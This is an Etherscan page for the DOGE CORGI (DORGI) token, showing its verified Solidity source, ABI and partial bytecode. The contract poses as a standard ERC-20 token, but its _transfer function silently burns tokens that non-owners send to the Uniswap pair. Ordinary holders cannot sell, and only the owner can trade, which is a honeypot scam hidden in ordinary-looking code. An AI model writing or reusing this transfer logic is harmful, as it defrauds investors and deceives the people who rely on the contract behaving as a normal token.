ETH Price: $3,272.33 (-5.83%)

Token

DOGE CORGI (DORGI)
 

Overview

Max Total Supply

100,000,000,000,000 DORGI

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,230,909,786,782.226502216131461659 DORGI

Value
$0.00
0x7c1236ae62ef77c3d29f3f4fbb2b45940121f60e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DORGI

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-05-12
*/

pragma solidity =0.8.1;

// DOGE CORGI
// FOR DOGE, CORGI FANS

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);
    
    function burn(uint256 amount) external;

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    
    function burnFrom(address account, uint256 amount) external;
    
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract DORGI is IERC20 {
    using SafeMath for uint256;
    
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name = "DOGE CORGI";
    
    string private _symbol = "DORGI";
    
    uint8 private _decimals = 18;
    
    address private uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    
    address private pairAddress;
    
    address private _owner = msg.sender;
    
    uint256 private _initialSupply = 1e14*1e18;
  
    constructor () {
        _mint(address(this), _initialSupply);
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }
    
    function isOwner(address account) public view returns(bool) {
        return account == _owner;
    }
    
    /**
     * @dev Returns the name of the token.
     */
    function name() public view returns (string memory) {
        return _name;
    }


    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function decimals() public view returns (uint8) {
        return _decimals;
    }


    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }


    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }


    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function addLiquidity() public payable onlyOwner {
        
        IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(uniRouter);
        
        pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _approve(address(this), address(uniswapV2Router), _initialSupply);
        
        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            _initialSupply,
            0,
            0,
            _owner,
            block.timestamp
        );
        
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function burn(uint256 amount) public virtual override {
        _burn(msg.sender, amount);
    }

    function burnFrom(address account, uint256 amount) public virtual override {
        uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance");

        _approve(account, msg.sender, decreasedAllowance);
        _burn(account, amount);
    }
    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
        
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        if(sender == _owner || sender == address(this) || recipient == address(this)) {
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);
        } else if (recipient == pairAddress){ } 
        else{
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);
        }
        
    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
    

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }


    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
    
    receive() external payable {}
     
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600a81526020017f444f474520434f524749000000000000000000000000000000000000000000008152506003908051906020019062000051929190620003a3565b506040518060400160405280600581526020017f444f524749000000000000000000000000000000000000000000000000000000815250600490805190602001906200009f929190620003a3565b506012600560006101000a81548160ff021916908360ff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506d04ee2d6d415b85acef81000000006008553480156200017157600080fd5b5062000186306008546200018c60201b60201c565b62000671565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620001ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001f690620004d4565b60405180910390fd5b62000213600083836200033b60201b60201c565b6200022f816002546200034060201b62000be21790919060201c565b6002819055506200028d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200034060201b62000be21790919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200032f9190620004f6565b60405180910390a35050565b505050565b600080828462000351919062000524565b90508381101562000399576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200039090620004b2565b60405180910390fd5b8091505092915050565b828054620003b1906200058b565b90600052602060002090601f016020900481019282620003d5576000855562000421565b82601f10620003f057805160ff191683800117855562000421565b8280016001018555821562000421579182015b828111156200042057825182559160200191906001019062000403565b5b50905062000430919062000434565b5090565b5b808211156200044f57600081600090555060010162000435565b5090565b600062000462601b8362000513565b91506200046f826200061f565b602082019050919050565b600062000489601f8362000513565b9150620004968262000648565b602082019050919050565b620004ac8162000581565b82525050565b60006020820190508181036000830152620004cd8162000453565b9050919050565b60006020820190508181036000830152620004ef816200047a565b9050919050565b60006020820190506200050d6000830184620004a1565b92915050565b600082825260208201905092915050565b6000620005318262000581565b91506200053e8362000581565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620005765762000575620005c1565b5b828201905092915050565b6000819050919050565b60006002820490506001821680620005a457607f821691505b60208210811415620005bb57620005ba620005f0565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611ec780620006816000396000f3fe6080604052600436106100ec5760003560e01c806342966c681161008a578063a457c2d711610059578063a457c2d714610327578063a9059cbb14610364578063dd62ed3e146103a1578063e8078d94146103de576100f3565b806342966c681461026d57806370a082311461029657806379cc6790146102d357806395d89b41146102fc576100f3565b806323b872dd116100c657806323b872dd1461018b5780632f54bf6e146101c8578063313ce567146102055780633950935114610230576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103e8565b60405161011a91906118fd565b60405180910390f35b34801561012f57600080fd5b5061014a6004803603810190610145919061164e565b61047a565b60405161015791906118e2565b60405180910390f35b34801561016c57600080fd5b50610175610491565b60405161018291906119df565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad91906115ff565b61049b565b6040516101bf91906118e2565b60405180910390f35b3480156101d457600080fd5b506101ef60048036038101906101ea9190611571565b610566565b6040516101fc91906118e2565b60405180910390f35b34801561021157600080fd5b5061021a6105c0565b60405161022791906119fa565b60405180910390f35b34801561023c57600080fd5b506102576004803603810190610252919061164e565b6105d7565b60405161026491906118e2565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f919061168a565b61067c565b005b3480156102a257600080fd5b506102bd60048036038101906102b89190611571565b610689565b6040516102ca91906119df565b60405180910390f35b3480156102df57600080fd5b506102fa60048036038101906102f5919061164e565b6106d1565b005b34801561030857600080fd5b50610311610725565b60405161031e91906118fd565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061164e565b6107b7565b60405161035b91906118e2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061164e565b610876565b60405161039891906118e2565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c391906115c3565b61088d565b6040516103d591906119df565b60405180910390f35b6103e6610914565b005b6060600380546103f790611b55565b80601f016020809104026020016040519081016040528092919081815260200182805461042390611b55565b80156104705780601f1061044557610100808354040283529160200191610470565b820191906000526020600020905b81548152906001019060200180831161045357829003601f168201915b5050505050905090565b6000610487338484610c40565b6001905092915050565b6000600254905090565b60006104a8848484610e0b565b61055b843361055685604051806060016040528060288152602001611e2160289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bc9092919063ffffffff16565b610c40565b600190509392505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600560009054906101000a900460ff16905090565b6000610672338461066d85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610be290919063ffffffff16565b610c40565b6001905092915050565b6106863382611320565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600061070982604051806060016040528060248152602001611e49602491396106fa863361088d565b6112bc9092919063ffffffff16565b9050610716833383610c40565b6107208383611320565b505050565b60606004805461073490611b55565b80601f016020809104026020016040519081016040528092919081815260200182805461076090611b55565b80156107ad5780601f10610782576101008083540402835291602001916107ad565b820191906000526020600020905b81548152906001019060200180831161079057829003601f168201915b5050505050905090565b600061086c338461086785604051806060016040528060258152602001611e6d60259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bc9092919063ffffffff16565b610c40565b6001905092915050565b6000610883338484610e0b565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61091d33610566565b61092657600080fd5b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561099357600080fd5b505afa1580156109a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb919061159a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2d57600080fd5b505afa158015610a41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a65919061159a565b6040518363ffffffff1660e01b8152600401610a82929190611858565b602060405180830381600087803b158015610a9c57600080fd5b505af1158015610ab0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad4919061159a565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b213082600854610c40565b8073ffffffffffffffffffffffffffffffffffffffff1663f305d7193430600854600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401610b8a96959493929190611881565b6060604051808303818588803b158015610ba357600080fd5b505af1158015610bb7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bdc91906116b3565b50505050565b6000808284610bf19190611a31565b905083811015610c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2d9061195f565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca7906119bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d179061193f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dfe91906119df565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e729061199f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee29061191f565b60405180910390fd5b610ef68383836114ce565b610f6181604051806060016040528060268152602001611dfb602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bc9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061102a57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061106057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611162576110b6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610be290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161115591906119df565b60405180910390a36112b7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111bd576112b6565b61120e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610be290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112ad91906119df565b60405180910390a35b5b505050565b6000838311158290611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb91906118fd565b60405180910390fd5b50600083856113139190611a87565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611390576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113879061197f565b60405180910390fd5b61139c826000836114ce565b61140781604051806060016040528060228152602001611dd9602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bc9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061145e816002546114d390919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114c291906119df565b60405180910390a35050565b505050565b600061151583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112bc565b905092915050565b60008135905061152c81611daa565b92915050565b60008151905061154181611daa565b92915050565b60008135905061155681611dc1565b92915050565b60008151905061156b81611dc1565b92915050565b60006020828403121561158357600080fd5b60006115918482850161151d565b91505092915050565b6000602082840312156115ac57600080fd5b60006115ba84828501611532565b91505092915050565b600080604083850312156115d657600080fd5b60006115e48582860161151d565b92505060206115f58582860161151d565b9150509250929050565b60008060006060848603121561161457600080fd5b60006116228682870161151d565b93505060206116338682870161151d565b925050604061164486828701611547565b9150509250925092565b6000806040838503121561166157600080fd5b600061166f8582860161151d565b925050602061168085828601611547565b9150509250929050565b60006020828403121561169c57600080fd5b60006116aa84828501611547565b91505092915050565b6000806000606084860312156116c857600080fd5b60006116d68682870161155c565b93505060206116e78682870161155c565b92505060406116f88682870161155c565b9150509250925092565b61170b81611abb565b82525050565b61171a81611acd565b82525050565b61172981611b10565b82525050565b600061173a82611a15565b6117448185611a20565b9350611754818560208601611b22565b61175d81611be5565b840191505092915050565b6000611775602383611a20565b915061178082611bf6565b604082019050919050565b6000611798602283611a20565b91506117a382611c45565b604082019050919050565b60006117bb601b83611a20565b91506117c682611c94565b602082019050919050565b60006117de602183611a20565b91506117e982611cbd565b604082019050919050565b6000611801602583611a20565b915061180c82611d0c565b604082019050919050565b6000611824602483611a20565b915061182f82611d5b565b604082019050919050565b61184381611af9565b82525050565b61185281611b03565b82525050565b600060408201905061186d6000830185611702565b61187a6020830184611702565b9392505050565b600060c0820190506118966000830189611702565b6118a3602083018861183a565b6118b06040830187611720565b6118bd6060830186611720565b6118ca6080830185611702565b6118d760a083018461183a565b979650505050505050565b60006020820190506118f76000830184611711565b92915050565b60006020820190508181036000830152611917818461172f565b905092915